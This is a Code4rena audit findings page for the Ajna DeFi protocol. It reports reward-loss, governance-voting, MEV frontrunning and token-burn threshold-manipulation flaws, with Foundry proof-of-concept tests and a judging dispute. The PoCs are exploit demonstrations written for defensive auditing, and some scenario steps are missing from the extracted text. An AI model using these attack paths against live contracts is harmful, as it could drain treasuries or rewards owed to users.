Platform: Code4rena
Start Date: 03/05/2023
Pot Size: $60,500 USDC
Total HM: 25
Participants: 114
Period: 8 days
Judge: Picodes
Total Solo HM: 6
Id: 234
League: ETH
Rank: 10/114
Findings: 5
Award: $943.84
🌟 Selected for report: 2
🚀 Solo Findings: 0
🌟 Selected for report: aviggiano
Also found by: 0xSmartContract, 0xTheC0der, 0xcm, ABAIKUNANBAEV, Audinarey, Audit_Avengers, BGSecurity, Bauchibred, Dug, Evo, Haipls, Jerry0x, TS, bytes032, devscrooge, kenta, ladboy233, mrvincere, patitonar, sakshamguruji, tsvetanovv
15.5756 USDC - $15.58
Users may lose rewards if the contract is underfunded during the claiming process.
The RewardsManager
contract keeps track of the rewards earned by an NFT staker. The accumulated rewards are transferred to the user through the _transferAjnaRewards
function.
Rewards are usually distributed by the claimRewards
function, but that also happens
function claimRewards( uint256 tokenId_, uint256 epochToClaim_ ) external override { StakeInfo storage stakeInfo = stakes[tokenId_]; if (msg.sender != stakeInfo.owner) revert NotOwnerOfDeposit(); if (isEpochClaimed[tokenId_][epochToClaim_]) revert AlreadyClaimed(); _claimRewards(stakeInfo, tokenId_, epochToClaim_, true, stakeInfo.ajnaPool); }
when unstaking
function unstake( uint256 tokenId_ ) external override { StakeInfo storage stakeInfo = stakes[tokenId_]; if (msg.sender != stakeInfo.owner) revert NotOwnerOfDeposit(); address ajnaPool = stakeInfo.ajnaPool; // claim rewards, if any _claimRewards( stakeInfo, tokenId_, IPool(ajnaPool).currentBurnEpoch(), false, ajnaPool );
and moving liquidity
function moveStakedLiquidity( uint256 tokenId_, uint256[] memory fromBuckets_, uint256[] memory toBuckets_, uint256 expiry_ ) external nonReentrant override { StakeInfo storage stakeInfo = stakes[tokenId_]; if (msg.sender != stakeInfo.owner) revert NotOwnerOfDeposit(); // check move array sizes match to be able to match on index uint256 fromBucketLength = fromBuckets_.length; if (fromBucketLength != toBuckets_.length) revert MoveStakedLiquidityInvalid(); address ajnaPool = stakeInfo.ajnaPool; uint256 curBurnEpoch = IPool(ajnaPool).currentBurnEpoch(); // claim rewards before moving liquidity, if any _claimRewards( stakeInfo, tokenId_, curBurnEpoch, false, ajnaPool );
The issue here lies within the _transferAjnaRewards
function. However, the transferrable amount of Ajna token rewards are capped at the Ajna token balance at the time of claiming.
If the accumulated rewards are higher than the Ajna token balance, the claimer will receive fewer rewards than expected.
function _transferAjnaRewards(uint256 rewardsEarned_) internal { // check that rewards earned isn't greater than remaining balance // if remaining balance is greater, set to remaining balance uint256 ajnaBalance = IERC20(ajnaToken).balanceOf(address(this)); // @audit system doesn't track partially paid rewards if (rewardsEarned_ > ajnaBalance) rewardsEarned_ = ajnaBalance; if (rewardsEarned_ != 0) { // transfer rewards to sender IERC20(ajnaToken).safeTransfer(msg.sender, rewardsEarned_); } }
There is a scenario, where this will lead to loss of funds:
Consider the following scenario:
claimRewards
, but only gets 20 tokens, because the balance of the contract is insufficient. This means the next call to claimRewards
will revert, becauseif (isEpochClaimed[tokenId_][epochToClaim_])
will return true
When _claimRewards
is called, it calculates the due reward amount by calling the _calculateAndClaimRewards
function.
function _claimRewards( StakeInfo storage stakeInfo_, uint256 tokenId_, uint256 epochToClaim_, bool validateEpoch_, address ajnaPool_ ) internal { // revert if higher epoch to claim than current burn epoch if (validateEpoch_ && epochToClaim_ > IPool(ajnaPool_).currentBurnEpoch()) revert EpochNotAvailable(); // update bucket exchange rates and claim associated rewards uint256 rewardsEarned = _updateBucketExchangeRates( ajnaPool_, positionManager.getPositionIndexes(tokenId_) ); rewardsEarned += _calculateAndClaimRewards(tokenId_, epochToClaim_);
For the function to calculate a reward, lastClaimedEpoch has to be less than epochToClaim.
function _calculateAndClaimRewards( uint256 tokenId_, uint256 epochToClaim_ ) internal returns (uint256 rewards_) { address ajnaPool = stakes[tokenId_].ajnaPool; uint256 lastClaimedEpoch = stakes[tokenId_].lastClaimedEpoch; uint256 stakingEpoch = stakes[tokenId_].stakingEpoch; uint256[] memory positionIndexes = positionManager.getPositionIndexesFiltered(tokenId_); // iterate through all burn periods to calculate and claim rewards for (uint256 epoch = lastClaimedEpoch; epoch < epochToClaim_; ) {
But that's not the case right now, because _claimRewards
already has set the last claimed epoch to the current one.
stakeInfo_.lastClaimedEpoch = uint96(epochToClaim_);
I've further confirmed with the sponsor that the only way the users are getting their full rewards is waiting for the rewards manager to be funded again.
Here's a PoC which showcases the issue:
function testPartialRewards() external { skip(10); // configure NFT position uint256[] memory depositIndexes = new uint256[](5); depositIndexes[0] = 9; depositIndexes[1] = 1; depositIndexes[2] = 2; depositIndexes[3] = 3; depositIndexes[4] = 4; // mint memorialize and deposit NFT uint256 tokenIdOne = _mintAndMemorializePositionNFT({ indexes: depositIndexes, minter: _minterOne, mintAmount: 1_000 * 1e18, pool: address(_pool) }); // stake NFT _stakeToken({ pool: address(_pool), owner: _minterOne, tokenId: tokenIdOne }); // borrower takes actions providing reserves enabling reserve auctions uint256 firstTokensToBurn = _triggerReserveAuctions({ borrower: _borrower, tokensToBurn: 81.799378162662704349 * 1e18, borrowAmount: 300 * 1e18, limitIndex: 3, pool: address(_pool) }); // second depositor deposits an NFT representing the same positions into the rewards contract uint256 tokenIdTwo = _mintAndMemorializePositionNFT({ indexes: depositIndexes, minter: _minterTwo, mintAmount: 1000 * 1e18, pool: address(_pool) }); // second depositor stakes NFT, generating an update reward _stakeToken({ pool: address(_pool), owner: _minterTwo, tokenId: tokenIdTwo }); // Set balance to 20 tokens deal(address(_ajna), address(_rewardsManager), 20 * 10**18); address prePrankAddress = msg.sender; console.log("Claimable rewards by minter", _rewardsManager.calculateRewards(tokenIdOne, IPool(_pool).currentBurnEpoch())); console.log("RewardsManager balance", _ajnaToken.balanceOf(address(_rewardsManager))); // Claim reward changePrank(_minterOne); _rewardsManager.claimRewards(tokenIdOne, IPool(_pool).currentBurnEpoch()); console.log("Claimed rewards by minter: %s", _ajnaToken.balanceOf(_minterOne)); // Add 20 more tokens deal(address(_ajna), address(_rewardsManager), 50 * 10**18); changePrank(_minterOne); // _rewardsManager.claimRewards(tokenIdOne, IPool(_pool).currentBurnEpoch()); _rewardsManager.unstake(tokenIdOne); console.log("Claimed rewards by minter: %s", _ajnaToken.balanceOf(_minterOne)); }
Running the test, yields the following result:
Manual review
One of the options would be to revert if there's not enough balance. However, that might open a can of worms where users cannot unstake, because there's unsufficient balance in the contract.
So, my recommendation here would be to change the default behavior of unstake to revert if there are not enough rewards, but allow them to opt in to unstake without rewards in an emergency situation when a bug in rewards manager fails to give rewards or has no balance.
Token-Transfer
#0 - c4-judge
2023-05-18T09:27:55Z
Picodes marked the issue as duplicate of #361
#1 - c4-judge
2023-05-29T20:58:42Z
Picodes marked the issue as satisfactory
🌟 Selected for report: hyh
Also found by: Jiamin, Juntao, aashar, bytes032, circlelooper, mrpathfindr
71.327 USDC - $71.33
This issue could lead to a scenario where a proposal with zero or insufficient funding votes could be executed.
Ajna's grant system allows any project to submit a proposal consisting of a desired Ajna token quantity and the recipient's address. The system uses a two-stage process, where proposals first go through a screening stage, and the top 10 most supported proposals are selected for a funding stage. Ajna token holders can vote for these proposals in this stage using a quadratic system.
function updateSlate( uint256[] calldata proposalIds_, uint24 distributionId_ ) external override returns (bool newTopSlate_) { QuarterlyDistribution storage currentDistribution = _distributions[distributionId_]; // store number of proposals for reduced gas cost of iterations uint256 numProposalsInSlate = proposalIds_.length; // check the each proposal in the slate is valid, and get the sum of the proposals fundingVotesReceived uint256 sum = _validateSlate(distributionId_, currentDistribution.endBlock, currentDistribution.fundsAvailable, proposalIds_, numProposalsInSlate); // get pointers for comparing proposal slates bytes32 currentSlateHash = currentDistribution.fundedSlateHash; bytes32 newSlateHash = keccak256(abi.encode(proposalIds_)); // check if slate of proposals is better than the existing slate, and is thus the new top slate newTopSlate_ = currentSlateHash == 0 || (currentSlateHash!= 0 && sum > _sumProposalFundingVotes(_fundedProposalSlates[currentSlateHash])); // if slate of proposals is new top slate, update state if (newTopSlate_) { uint256[] storage existingSlate = _fundedProposalSlates[newSlateHash]; for (uint i = 0; i < numProposalsInSlate; ) { // update list of proposals to fund existingSlate.push(proposalIds_[i]); unchecked { ++i; } } // update hash to point to the new leading slate of proposals currentDistribution.fundedSlateHash = newSlateHash; emit FundedSlateUpdated( distributionId_, newSlateHash ); } }
After the voting period concludes, the winning proposals are determined. The winning slate is the one that maximizes the sum of the net number of votes cast in favor of the proposals, while ensuring the total budget of the winning proposals does not exceed the Grant Budget Ceiling (GBC). These checks occur in the validateSlate
function.
function _validateSlate(uint24 distributionId_, uint256 endBlock, uint256 distributionPeriodFundsAvailable_, uint256[] calldata proposalIds_, uint256 numProposalsInSlate_) internal view returns (uint256 sum_) { // check that the function is being called within the challenge period if (block.number <= endBlock || block.number > _getChallengeStageEndBlock(endBlock)) { revert InvalidProposalSlate(); } // check that the slate has no duplicates if (_hasDuplicates(proposalIds_)) revert InvalidProposalSlate(); uint256 gbc = distributionPeriodFundsAvailable_; uint256 totalTokensRequested = 0; // check each proposal in the slate is valid for (uint i = 0; i < numProposalsInSlate_; ) { Proposal memory proposal = _standardFundingProposals[proposalIds_[i]]; // check if Proposal is in the topTenProposals list if (_findProposalIndex(proposalIds_[i], _topTenProposals[distributionId_]) == -1) revert InvalidProposalSlate(); // account for fundingVotesReceived possibly being negative if (proposal.fundingVotesReceived < 0) revert InvalidProposalSlate(); // update counters sum_ += uint128(proposal.fundingVotesReceived); // since we are converting from int128 to uint128, we can safely assume that the value will not overflow totalTokensRequested += proposal.tokensRequested; // check if slate of proposals exceeded budget constraint ( 90% of GBC ) // @audit-info why, cant you just remove 1? if (totalTokensRequested > (gbc * 9 / 10)) { revert InvalidProposalSlate(); } unchecked { ++i; } } }
However, an issue arises when only a single proposal passed the screening period. Regardless of whether it receives enough funding votes, it will be the only one in the potential slate, and this proposal will get executed. The following solidity function, testUnderfundedProposal
, demonstrates this issue.
function _standardFundingVoteSucceeded( uint256 proposalId_ ) internal view returns (bool) { uint24 distributionId = _standardFundingProposals[proposalId_].distributionId; return _findProposalIndex(proposalId_, _fundedProposalSlates[_distributions[distributionId].fundedSlateHash]) != -1; }
So, even if a proposal has 0 fundingVotesReceived
, it will still get executed. It would be absolutely normal for a proposal to have 0 votes, since the variable that accounts for its an integer. However, having a total of 0 votes doesn't mean its supposed to get funded.
Here's a PoC which showcases the issue.
function testUnderfundedProposal() external { changePrank(_tokenHolder1); _token.delegate(_tokenHolder1); address fundingReceiver = makeAddr("fundingReceiver"); console.log("Funding receiver balance", _token.balanceOf(fundingReceiver)); vm.roll(_startBlock + 150); // start first distribution _startDistributionPeriod(_grantFund); uint24 distributionId = _grantFund.getDistributionId(); (, , , uint128 gbc_distribution1, , ) = _grantFund.getDistributionPeriodInfo(distributionId); TestProposalParams[] memory testProposalParams_distribution1 = new TestProposalParams[](1); testProposalParams_distribution1[0] = TestProposalParams(fundingReceiver, 8_500_000 * 1e18); // create 1 proposal paying out tokens TestProposal[] memory testProposals_distribution1 = _createNProposals(_grantFund, _token, testProposalParams_distribution1); assertEq(testProposals_distribution1.length, 1); vm.roll(_startBlock + 200); // screening period votes // construct vote params IStandardFunding.ScreeningVoteParams[] memory params = new IStandardFunding.ScreeningVoteParams[](1); params[0].proposalId = testProposals_distribution1[0].proposalId; params[0].votes = _getScreeningVotes(_grantFund, _tokenHolder1); changePrank(_tokenHolder1); _grantFund.screeningVote(params); // skip time to move from screening period to funding period vm.roll(_startBlock + 600_000); // check topTenProposals array is correct after screening period - only 1 should have advanced GrantFund.Proposal[] memory screenedProposals_distribution1 = _getProposalListFromProposalIds(_grantFund, _grantFund.getTopTenProposals(distributionId)); assertEq(screenedProposals_distribution1.length, 1); // funding period votes // _fundingVote(_grantFund, _tokenHolder1, screenedProposals_distribution1[0].proposalId, voteYes, 50_000_000 * 1e18); // skip to the Challenge period vm.roll(_startBlock + 650_000); uint256[] memory potentialProposalSlate = new uint256[](1); potentialProposalSlate[0] = screenedProposals_distribution1[0].proposalId; // updateSlate _grantFund.updateSlate(potentialProposalSlate, distributionId); // skip to the end of Challenge period vm.roll(_startBlock + 700_000); // check proposal status isn't defeated IFunding.ProposalState proposalState = _grantFund.state(testProposals_distribution1[0].proposalId); assert(uint8(proposalState) != uint8(IFunding.ProposalState.Defeated)); // check proposal status is succeeded proposalState = _grantFund.state(testProposals_distribution1[0].proposalId); assertEq(uint8(proposalState), uint8(IFunding.ProposalState.Succeeded)); (,,uint128 votesReceived,,int128 fundingVotesReceived,) = _grantFund.getProposalInfo(testProposals_distribution1[0].proposalId); // No funding votes received assertEq(fundingVotesReceived == 0, true); _grantFund.executeStandard(testProposals_distribution1[0].targets, testProposals_distribution1[0].values, testProposals_distribution1[0].calldatas, keccak256(bytes(testProposals_distribution1[0].description))); console.log("Funding receiver balance", _token.balanceOf(fundingReceiver)); }
It is possible to argue that the flawed proposal may enter the top-ranked slate, but it could be supplanted by an alternative top slate containing distinct proposals before the period concludes, as long as the latter slate is more optimal. Consequently, this could potentially exclude the invalid proposal from consideration.
However, if there are fewer than 10 proposals in the pool during the screening period (noting that new proposals cannot be submitted after the screening period has ended), there's nothing to replace the invalid proposal with and no way to stop it from getting executed.
Manual review
To prevent under-voted proposals from being executed, the code should be adjusted to include a minimum vote threshold for proposals, irrespective of the number of proposals that pass the screening phase. This way, a proposal would require a minimum number of votes before it can be executed, ensuring that only proposals with sufficient community support are funded.
This can be achieved by changing <
to <=
here.
// account for fundingVotesReceived possibly being negative if (proposal.fundingVotesReceived < 0) revert InvalidProposalSlate();
Invalid Validation
#0 - Picodes
2023-05-18T09:23:00Z
Interesting but it is more a design choice than a security finding, as there are incentives to create proposal (as they can get funded) so it seems reasonable to expect > 10 proposals to be created
#1 - c4-judge
2023-05-18T09:23:05Z
Picodes changed the severity to QA (Quality Assurance)
#2 - c4-judge
2023-05-18T14:10:35Z
This previously downgraded issue has been upgraded by Picodes
#3 - c4-judge
2023-05-18T14:10:35Z
This previously downgraded issue has been upgraded by Picodes
#4 - c4-judge
2023-05-18T14:10:43Z
Picodes marked the issue as duplicate of #274
#5 - c4-judge
2023-05-30T20:11:09Z
Picodes marked the issue as satisfactory
329.7645 USDC - $329.76
This vulnerability allows malicious actors to exploit the reward system by frontrunning transactions and unfairly claiming rewards, thereby disincentivizing honest users from updating the bucket exchange rates and contributing to the system.
The updateBucketExchangeRatesAndClaim
function is publicly callable and serves two main purposes:
5%
of the rewards accumulated to each bucket since the last burn event, if it hasn't already been updated.
https://github.com/code-423n4/2023-05-ajna/blob/fc70fb9d05b13aee2b44be2cb652478535a90edd/ajna-core/src/RewardsManager.sol#L310-L318function updateBucketExchangeRatesAndClaim( address pool_, uint256[] calldata indexes_ ) external override returns (uint256 updateReward) { updateReward = _updateBucketExchangeRates(pool_, indexes_); // transfer rewards to sender _transferAjnaRewards(updateReward); }
So, to summarize it's primary purpose is to incentivize people who keep the state updated. However, given the nature of the function (first come, first serve) it becomes very prone to MEV.
Consider the following scenario:
_updateBucketExchangeRateAndCalculateRewards
submitted by Alice.I believe the system should be made fair to everybody that wants to contribute, hence this is a vulnerability that should be taken care of to ensure the fair distribution of awards to people who care about the protocol instead of .
Manual Review
I see potentially two solutions here:
MEV
#0 - c4-judge
2023-05-18T15:35:26Z
Picodes marked the issue as primary issue
#1 - c4-sponsor
2023-05-19T19:38:27Z
MikeHathaway marked the issue as sponsor confirmed
#2 - c4-judge
2023-05-30T21:24:48Z
Picodes marked the issue as selected for report
#3 - c4-judge
2023-05-30T21:27:09Z
Picodes marked the issue as satisfactory
#4 - c4-sponsor
2023-05-31T22:04:47Z
MikeHathaway marked the issue as sponsor acknowledged
222.591 USDC - $222.59
This vulnerability presents a significant risk to the Ajna treasury. A malicious actor who owns a substantial amount of tokens could manipulate the voting mechanism by burning their own tokens, thereby lowering the minimum threshold of votes required for a proposal to pass. This tactic could allow him to siphon off substantial amounts from the treasury.
By meeting a certain quorum of non-treasury tokens, token holders may take tokens from the treasury outside of the PFM by utilizing Extraordinary Funding Mechanism (EFM).
This mechanism works by allowing up to the percentage over 50% of non-treasury tokens (the “minimum threshold”) that vote affirmatively to be removed from the treasury – the cap on this mechanism is therefore 100% minus the minimum threshold (50% in this case).
Examples:
When submitting a proposal, the proposer must include the exact percentage of the treasury they would like to extract (“proposal threshold”), if the vote fails to reach this threshold, it will fail, and no tokens will be distributed.
Example: a. A proposer requests 10% of the treasury
The function that checks the conditions above are true, and the proposal has succeeded is _extraordinaryProposalSucceeded
.
function _extraordinaryProposalSucceeded( uint256 proposalId_, uint256 tokensRequested_ ) internal view returns (bool) { uint256 votesReceived = uint256(_extraordinaryFundingProposals[proposalId_].votesReceived); // @audit-info check _getMinimumThresholdPercentage() function uint256 minThresholdPercentage = _getMinimumThresholdPercentage(); return // succeeded if proposal's votes received doesn't exceed the minimum threshold required // @audit-info check _getSliceOfNonTreasury() function (votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage)) && // succeeded if tokens requested are available for claiming from the treasury (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage)) ; }
The vulnerability here lies in the _getSliceOfNonTreasury()
function.
function _getSliceOfNonTreasury( uint256 percentage_ ) internal view returns (uint256) { uint256 totalAjnaSupply = IERC20(ajnaTokenAddress).totalSupply(); // return ((ajnaTotalSupply - treasury) * percentage + 10**18 / 2) / 10**18; return Maths.wmul(totalAjnaSupply - treasury, percentage_); }
The reason is that it relies on the current total supply and AjnaToken inherits ERC20Burnable, a malicious user can burn his tokens to lower the minimum threshold needed for votes and make the proposal pass.
Bob, a token holder, owns 10% of the Ajna supply. He creates a proposal where he requests 20% of the treasury. For his proposal to pass, Bob needs to gather 70% of the votes (50% as the threshold because there are no other funded proposals yet and an additional 20% for the tokens he requested). Unfortunately, Bob only manages to acquire 61% of the total votes.
function _getMinimumThresholdPercentage() internal view returns (uint256) { // default minimum threshold is 50 if (_fundedExtraordinaryProposals.length == 0) { return 0.5 * 1e18; } // minimum threshold increases according to the number of funded EFM proposals else { // @audit-info 10 proposals max return 0.5 * 1e18 + (_fundedExtraordinaryProposals.length * (0.05 * 1e18)); } }
return // 70% 20% (votesReceived >= tokensRequested_ 50% + _getSliceOfNonTreasury(minThresholdPercentage)) && // succeeded if tokens requested are available for claiming from the treasury (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage)) ;
Bob then burns 10% of his own tokens. This action reduces the total supply and, consequently, the threshold too. Now, the proposal needs only 61% to pass, and since Bob already has this percentage, he can execute his proposal and siphon off funds from the treasury.
Here's a PoC that can be used to showcase the issue:
For the ease of use, please add a console.log to the _extraordinaryProposalSucceeded
function
function _extraordinaryProposalSucceeded( uint256 proposalId_, uint256 tokensRequested_ ) internal view returns (bool) { uint256 votesReceived = uint256(_extraordinaryFundingProposals[proposalId_].votesReceived); uint256 minThresholdPercentage = _getMinimumThresholdPercentage(); + console.log("tokensNeeded", tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage)); return // 50k 30k // 50k (votesReceived >= tokensRequested_ + _getSliceOfNonTreasury(minThresholdPercentage)) && // succeeded if tokens requested are available for claiming from the treasury (tokensRequested_ <= _getSliceOfTreasury(Maths.WAD - minThresholdPercentage)) ; }
function testManipulateSupply() external { // 14 tokenholders self delegate their tokens to enable voting on the proposals _selfDelegateVoters(_token, _votersArr); vm.roll(_startBlock + 100); // set proposal params uint256 endBlockParam = block.number + 100_000; // generate proposal targets address[] memory targets = new address[](1); targets[0] = address(_token); // generate proposal values uint256[] memory values = new uint256[](1); values[0] = 0; // generate proposal calldata bytes[] memory calldatas = new bytes[](1); calldatas[0] = abi.encodeWithSignature( "transfer(address,uint256)", _tokenHolder1, 50_000_001 * 1e18 ); // create and submit proposal TestProposalExtraordinary memory testProposal = _createProposalExtraordinary( _grantFund, _tokenHolder1, endBlockParam, targets, values, calldatas, "Extraordinary Proposal for Ajna token transfer to tester address" ); vm.roll(_startBlock + 150); uint256 votingWeight = _grantFund.getVotesExtraordinary(_tokenHolder2, testProposal.proposalId); changePrank(_tokenHolder2); _grantFund.voteExtraordinary(testProposal.proposalId); uint256 totalSupply = _token.totalSupply(); address bob = makeAddr("bob"); changePrank(_tokenDeployer); _token.transfer(bob, _token.balanceOf(_tokenDeployer)); changePrank(bob); _token.burn(_token.balanceOf(bob)); vm.roll(_startBlock + 217_000); _grantFund.state(testProposal.proposalId); }
Running the test with Bob burning tokens
uint256 totalSupply = _token.totalSupply(); address bob = makeAddr("bob"); changePrank(_tokenDeployer); _token.transfer(bob, _token.balanceOf(_tokenDeployer)); changePrank(bob); _token.burn(_token.balanceOf(bob));
Yields the following result:
Whereas if we remove the burning, the tokens needed are increased
- uint256 totalSupply = _token.totalSupply(); - address bob = makeAddr("bob"); - changePrank(_tokenDeployer); - _token.transfer(bob, _token.balanceOf(_tokenDeployer)); - changePrank(bob); - _token.burn(_token.balanceOf(bob));
Manual Review
To mitigate this vulnerability, consider implementing a mechanism that uses a snapshot of the total supply at the time of proposal submission rather than the current total supply. This change will prevent the threshold from being manipulated by burning tokens.
Other
#0 - c4-judge
2023-05-18T09:47:54Z
Picodes marked the issue as primary issue
#1 - c4-judge
2023-05-18T10:04:55Z
Picodes marked issue #287 as primary and marked this issue as a duplicate of 287
#2 - c4-sponsor
2023-05-19T19:54:23Z
MikeHathaway marked the issue as sponsor disputed
#3 - c4-sponsor
2023-05-19T19:54:29Z
MikeHathaway marked the issue as sponsor acknowledged
#4 - c4-judge
2023-05-30T19:07:20Z
Picodes marked the issue as selected for report
#5 - Picodes
2023-05-30T19:11:23Z
Considering that:
I think this report and its duplicate qualify for Medium severity under "hypothetical attack path with stated assumptions, but external requirements"
#6 - c4-judge
2023-05-30T19:11:33Z
Picodes changed the severity to 2 (Med Risk)
#7 - c4-judge
2023-05-30T22:33:03Z
Picodes marked the issue as satisfactory
#8 - 0xRobocop
2023-06-01T01:46:30Z
I think this issue is miss-judged.
Because this is issue and its duplicates describe different scenarios, one tries to manipulate via burning and the other via sending tokens to the treasury, I will provide the analysis for both.
Burning tokens reduces the non-treasury tokens and hence reduces the threshold needed to pass a proposal, the problem is that you will need to burn more tokens that the ones you reduce for the threshold. Actually this can be proven looking at the Warden's proof of concept.
The proof of concept shows that if bob does not burn his tokens then he need 800M votes to pass a proposal, if he burns his tokens then he needs 650M. The problem is that the PoC does not show how many tokens bob burned, so lets analyze it a bit further. The formula to compute votes needed is:
tokensRequested + ((TotalSupply - TreasuryTokens) * MinimumThreshold)
By the Warden's PoC we know that before bob burning his tokens and with tokens requested equal to 50M the formula yields 800M so:
800M = 50M + ((TotalSupply - TreasuryTokens) * 0.5)
When bob burns his tokens the formula yields 650M so:
650M = 50M + ((TotalSupply - BobBurnedTokens - TreasuryTokens) * 0.5)
Simplifying the both formulas we have:
750M = 0.5 * TotalSupply - 0.5 * TreasuryTokens
and
600M = 0.5 * TotaSupply - 0.5 TreasuryTokens - 0.5 BobBurnedTokens
We can combine both formulas into one, taking 0.5 * TotalSupply - 0.5 * TreasuryTokens
as the common factor between both.
600M = 750M - 0.5 * BobBurnedTokens
We solve for BobBurnedTokens
:
BobBurnedTokens = 150M / 0.5 == 300M
So, Bob burned 300M tokens to reduce the threshold by 150M tokens (from 800 to 650).
In the duplicates, the Wardens say that an attacker can make its proposal to pass by sending tokens to the treasury since this will lower the votes needed to pass the proposal. I will use the same scenario described by one of the wardens.
The attack finishes at a profit of 249 tokens. If the "attacker" had requested the same 249 tokens instead of 500 then the threshold will have been:
0.5 * 9,000 + 249 = 4,749
Which is lower than 4,875 votes. The attacker got the same tokens (249) without having to manipulate the treasury and without more voting power that he already got (1,000 + 3,875).
This shows that the 2 behaviors are equivalent, so it cannot be seen that the first one is an attack, the contract is giving an amount (249) that goes in accordance with the votes reached, which is the objective of the design. And actually the second scenario is cheaper since it needs 4,749 votes while the other needs 4,874, so what in "real" terms happened is that the attacker transferred 125 tokens of wealth to the ecosystem.
#9 - bytes032
2023-06-01T03:12:08Z
Hey there. I think your interpretation of case 1 is misleading.
Here's a PoC where Bob requests 100 million tokens and burns 40 million to lower the threshold by 20 million. This will yield a net positive of 60 million tokens for Bob.
function testManipulateSupply() external { // 14 tokenholders self delegate their tokens to enable voting on the proposals _selfDelegateVoters(_token, _votersArr); vm.roll(_startBlock + 100); // set proposal params uint256 endBlockParam = block.number + 100_000; // generate proposal targets address[] memory targets = new address[](1); targets[0] = address(_token); // generate proposal values uint256[] memory values = new uint256[](1); values[0] = 0; // generate proposal calldata bytes[] memory calldatas = new bytes[](1); calldatas[0] = abi.encodeWithSignature( "transfer(address,uint256)", _tokenHolder1, 100_000_000 * 1e18 ); // create and submit proposal TestProposalExtraordinary memory testProposal = _createProposalExtraordinary( _grantFund, _tokenHolder1, endBlockParam, targets, values, calldatas, "Extraordinary Proposal for Ajna token transfer to tester address" ); vm.roll(_startBlock + 150); uint256 votingWeight = _grantFund.getVotesExtraordinary(_tokenHolder2, testProposal.proposalId); changePrank(_tokenHolder2); _grantFund.voteExtraordinary(testProposal.proposalId); uint256 totalSupply = _token.totalSupply(); address bob = makeAddr("bob"); changePrank(_tokenDeployer); _token.transfer(bob, _token.balanceOf(_tokenDeployer)); changePrank(bob); _token.burn(40_000_000 * 1e18); vm.roll(_startBlock + 217_000); _grantFund.state(testProposal.proposalId); }
Regarding case 2 - I agree that it should not be a duplicate.
#10 - 0xRobocop
2023-06-01T04:16:09Z
I'm not making any interpretation, and your new PoC clearly shows what I described.
Case 2 is a duplicate just carried differently, and actually is better because by sending tokens to the treasury you reduce 1:1 the threshold, if you send 200 tokens you reduce the threshold 200 tokens. In the case of burning you only get to reduce the half.
As demonstrated in the Case 2, it does not constitute an attack since the behaviors are equivalent. But in the case of burning the attacker is literally losing money. First of all your PoC fails to give context why an attacker wants to burn 40M to reduce the threshold by 20M, so I will try to imagine one.
Hence, VotesNeeded are => 100M + 200M*0.5 => 200M
You vote with your 180M, but you still need 20M so you burn 40M to reduce the threshold by 20M and pass the proposal, at the end you end-up with 240M tokens.
If you had created the proposal for 80M then:
That you could get successfully executed without burning and will land you a final balance of 260M tokens instead of 240M.
In this scenario I gave the attacker a lot of balance (90%) of non treasury tokens, to demonstrate that even large holders do not get an advantage by burning or sending tokens to the treasury. In the case of sending tokens is equivalent and in the case of burning he lost 20M.
#11 - bytes032
2023-06-01T04:32:11Z
Your interpretation contains a flaw as it assumes that only the owner would vote in favor of the proposal. However, it is entirely plausible that:
Moreover, it is worth noting that this specific concern has been acknowledged by the sponsor, and there is an ongoing dispute regarding case 2.
#12 - 0xRobocop
2023-06-01T04:36:29Z
You can abstract away who owns the tokens and how much.
You already have 180M of voting power, either because you own the tokens or because the community thinks your proposal must get funded. With that voting power does not make sense to burn 40M tokens to reduce 20M of threshold since you and the community who believes in your proposal can better ask for 20M less tokens.
Also if the "attacker" has 40M but he manages to convice 140M votes more, it implies some level of accountability to carry-on on the proposal. But now he only has 60M instead of 120M (if he had requested only 80 + 40 he had before).
#13 - Picodes
2023-06-03T14:11:58Z
@0xRobocop I'll side with @bytes032 on this one.
Your numerical analysis is correct but as @bytes032 points out this attack is more about a scenario where a proposal is close to being accepted, and should normally be rejected but by transferring Ajna tokens to the treasury it's possible to lower the threshold to force the proposal to pass.
🌟 Selected for report: rbserver
Also found by: 0xnev, ABAIKUNANBAEV, Audit_Avengers, Aymen0909, BGSecurity, BRONZEDISC, Bason, DadeKuma, GG_Security, Jerry0x, Jorgect, MohammedRizwan, REACH, Sathish9098, Shogoki, T1MOH, UniversalCrypto, aviggiano, ayden, berlin-101, bytes032, codeslide, descharre, fatherOfBlocks, hals, kaveyjoe, kodyvim, lfzkoala, lukris02, nadin, naman1778, patitonar, pontifex, sakshamguruji, squeaky_cactus, teawaterwire, wonjun, yjrwkk
304.5822 USDC - $304.58
Issue | |
---|---|
[01] | Liquidity operators are unable to stake or redeem rewards on behalf of Liquidity owners |
[02] | Insertion sort is implemented incorrectly |
[03] | Comment in code is potentially misleading |
[04] | Possibility of overflow in Maths.wsqrt function |
[05] | Risk of overflow in Math.wmul function |
[06] | Proposal potentially overshadowed |
[07] | AJNA L1 Address hardcoded in the code |
[08] | Users with insufficient balances may not receive any voting power |
[09] | In the screening sorting process, the latest proposal is always first to be eliminated if it shares the same number of screening votes with others. |
Since the operator can literally do everything with the NFT (burn it, move liquidity, mint it), it makes sense to also let them stake/unstake/redeem or move liquidity on behalf of the NFT owner. As confirmed with the sponsor, we both guess that they should be able to as they can be integrators on behalf of users
/** * @inheritdoc IRewardsManagerOwnerActions * @dev === Revert on === * @dev not owner `NotOwnerOfDeposit()` * @dev already claimed `AlreadyClaimed()` * @dev === Emit events === * @dev - `ClaimRewards` */ function claimRewards( uint256 tokenId_, uint256 epochToClaim_ ) external override { StakeInfo storage stakeInfo = stakes[tokenId_]; if (msg.sender != stakeInfo.owner) revert NotOwnerOfDeposit(); if (isEpochClaimed[tokenId_][epochToClaim_]) revert AlreadyClaimed(); _claimRewards(stakeInfo, tokenId_, epochToClaim_, true, stakeInfo.ajnaPool); }
